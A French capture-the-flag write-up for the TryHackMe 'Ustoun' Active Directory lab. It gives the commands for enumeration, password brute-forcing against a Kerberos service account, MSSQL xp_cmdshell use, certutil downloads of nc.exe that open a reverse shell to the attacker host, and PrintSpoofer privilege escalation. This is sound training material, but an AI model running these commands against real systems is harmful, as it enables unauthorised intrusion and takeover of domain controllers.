Ustoun – WriteUp – TryHackMe – Fr

Ustoun est une box de TryHackMe dédiée à l’attaque sur Active Directory. Il faudra effectuer une énumération habituelle avec NMAP, enum4linux, smbclient… .

Task 2 Submitting Flags

  • What is the user flag?

Redacted

  • What is the root flag?

Redacted

Enumération

Pour commencer, on fait un scan avec NMAP et cette commande : nmap -T5 -p- 10.10.252.169. En tâche de fond, je lance également l’outil de scan automatique AutoRecon 

De nombreux ports sont ouverts comme souvent lorsqu’il s’agit d’un Active Directory. Pour aller plus loin dans l’énumération, on peut utiliser enum4linux. 

Commande :

enum4linux 10.10.252.169

 

Peu d’information ressortent du scan, à part le nom du serveur DC01C’est une information que l’on va retrouver en énumération les SID avec lookupsid.py que l’on retrouve dans les outils Impacket   

Commande :

python /impacket-0.9.22/examples/lookupsid.py anonymous@10.10.104.40 

nb : l’IP a changé, car j’ai dû relancer la box…

Parmi la liste des différents comptes utilisateurs, groupe ou alias, il ne faut prendre que les SidTypeUser pour les mettre dans une liste que l’on va utiliser avec GetNPUsers.py toujours d’Impacket. 

Commande :

python /impacket-0.9.22/examples/GetNPUsers.py ‘DC01/’ -usersfile user.txt -no-pass -dc-ip 10.10.104.40

Le résultat n’est pas terrible. On ne récupère pas de hash car la pré authentification Kerberos n’est pas active. La seule information intéressante qui apparaît c’est : [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked). Je ne sais pas si cette information est importante. Alors je vais essayer de brute forcer le mot de passe du compte SVC-Kerb. Surtout, car ça sera plus rapide que de les faire tous en même temps. 

Commande :

crackmapexec smb 10.10.104.40 -u user_kerb.txt -p /usr/share/wordlists/rockyou.txt

Point sur l'énumération

Avec les identifiants du compte SVC-Kerb, on n’a pas la possibilité d’accèder au différent partage SMB. En revanche on peut accèder au service MSSQL sur le port 1433. On a utilisé à nouveau un outil de Impacket, mssqlclient.py. Et avec ça, ça commence à sentir bon. 

Commande :

python mssqlclient.py SVC-Kerb@10.10.104.40

Initial Foohold

Avec xp_cmdshell, ça, c’est un truc que j’ai appris avec l’OSCP, on va pouvoir exécuter à peu près touts les commandes que l’on veut sur le système. Le plus simplement du monde, on va télécharger nc.exe sur la machine cible qui va ensuite nous donné un CMD en reverse shell.  

Commande pour créer un dossier :

xp_cmdshell mkdir c:\test

Commande pour télécharger nc.exe  

xp_cmdshell certutil -urlcache -split -f http://10.11.38.124:8082/nn.exe C:\test\nn.exe

( bien sûr, il faut mettre un python -m http.server 8082 en écoute avant sur Kali ) 

Commande pour obtenir le reverse shell : 

xp_cmdshell c:\test\nn.exe 10.11.38.124 1414 -e cmd.exe

( avec un nc -nlvp 1414 en ecoute sur Kali ) 

 

Escalade de privilège

Exécution de l’une des premières commandes à exécuter : whoami /priv qui nous montre que le privilège SeImpersonatePrivilege Impersonate a client after authentication Enabled est activé. 

Il s’agit d’une vulnérabilité connue pour élever les privilèges dans Windows. Il existe plusieurs façons pour l’exploiter, mais seule  PrintSpoofer était le seul qui fonctionnait. Comme pour nc.exe, il faut le télécharger sur la machine cible avec cette commande :

certutil -urlcache -split -f http://10.11.38.124:8082/PrintSpoofer64.exe C:\test\PrintSpoofer64.exe

Commande pour passer Administrator :

PrintSpoofer64.exe -i -c cmd

 

Voilà, la machine est rootée. Le compte dc$ permet de récupérer les deux flags.

0 0 votes
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
Inline Feedbacks
View all comments